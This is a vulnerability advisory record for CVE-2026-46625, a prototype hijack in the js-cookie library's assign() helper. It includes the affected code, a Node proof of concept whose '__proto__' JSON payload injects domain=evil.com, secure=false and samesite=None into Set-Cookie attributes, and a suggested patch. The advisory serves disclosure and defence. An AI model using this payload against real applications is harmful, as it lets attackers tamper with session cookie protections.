{"id":"CVE-2026-46625","aliases":["GHSA-qjx8-664m-686j"],"url":"https://o3.security/vulnerability/CVE-2026-46625","summary":"JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection","details":"## Summary\n\n`js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `\"__proto__\"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys.\n\nBecause the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down.\n\n## Impact\n\nAny application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend:\n\n```js\nconst cfg = await fetch('/config').then(r => r.json());\nCookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker\n```\n\nA payload of `{\"__proto__\":{\"domain\":\"evil.example\",\"secure\":\"false\",\"samesite\":\"None\"}}` causes js-cookie to emit:\n\n```\nSet-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None\n```\n\n## Affected code\n\n```js\n// src/assign.mjs — full file\nexport default function (target) {\n  for (var i = 1; i < arguments.length; i++) {\n    var source = arguments[i]\n    for (var key in source) {                 // includes own enumerable '__proto__'\n      target[key] = source[key]                // [[Set]] form - fires __proto__ setter\n    }\n  }\n  return target\n}\n```\n## Proof of concept\n\nNode 22.11.0, no third-party deps:\n\n### Environment setup\n```bash\nmkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc\nnpm init -y\nnpm i js-cookie\n```\n\n### PoC\n```js\nubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs\nlet lastSetCookie = '';\nglobalThis.document = {\n  get cookie() { return ''; },\n  set cookie(v) { lastSetCookie = v; }\n};\n\nconst { default: Cookies } = await import('js-cookie');\n\nconst attackerAttrs = JSON.parse(\n  '{\"__proto__\":{\"secure\":\"false\",\"domain\":\"evil.com\",\"samesite\":\"None\",\"expires\":-1}}'\n);\n\nCookies.set('session', 'TOKEN', attackerAttrs);\n\nconsole.log('Set-Cookie that js-cookie wrote to document.cookie:');\nconsole.log(lastSetCookie);\n```\n\nExecution:\n<img width=\"2614\" height=\"1174\" alt=\"cls-2026-05-14-01 44 39\" src=\"https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62\" />\n\n## Suggested patch\n\n```diff\n--- a/src/assign.mjs\n+++ b/src/assign.mjs\n@@\n export default function (target) {\n   for (var i = 1; i < arguments.length; i++) {\n     var source = arguments[i]\n-    for (var key in source) {\n-      target[key] = source[key]\n-    }\n+    for (var key in source) {\n+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue\n+      Object.defineProperty(target, key, {\n+        value: source[key],\n+        writable: true,\n+        enumerable: true,\n+        configurable: true,\n+      })\n+    }\n   }\n   return target\n }\n```\n\nEquivalent one-liner alternative - iterate own names only and filter:\n\n```js\nfor (const key of Object.getOwnPropertyNames(source)) {\n  if (key === '__proto__') continue\n  target[key] = source[key]\n}\n```","published":"2026-06-10T21:18:05.372Z","modified":"2026-09-11T03:30:34.246303371Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},"epss":{"score":0.00512,"percentile":0.41061,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"js-cookie","fixedVersion":"3.0.7"}],"fix":{"url":"https://github.com/js-cookie/js-cookie/commit/eb3c40e89731e99b8970faaf35ddad249c6c0020","label":"js-cookie/js-cookie@eb3c40e"},"references":[{"type":"WEB","url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.7"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46625.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:33183"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:36625"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:48126"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:48151"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:49642"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:52768"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:56338"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:56357"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:59153"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:60520"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-46625"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46625.json"},{"type":"ADVISORY","url":"https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46625"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487740"},{"type":"FIX","url":"https://github.com/js-cookie/js-cookie/commit/eb3c40e89731e99b8970faaf35ddad249c6c0020"},{"type":"PACKAGE","url":"https://github.com/js-cookie/js-cookie"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-11T03:30:34.246303371Z"}}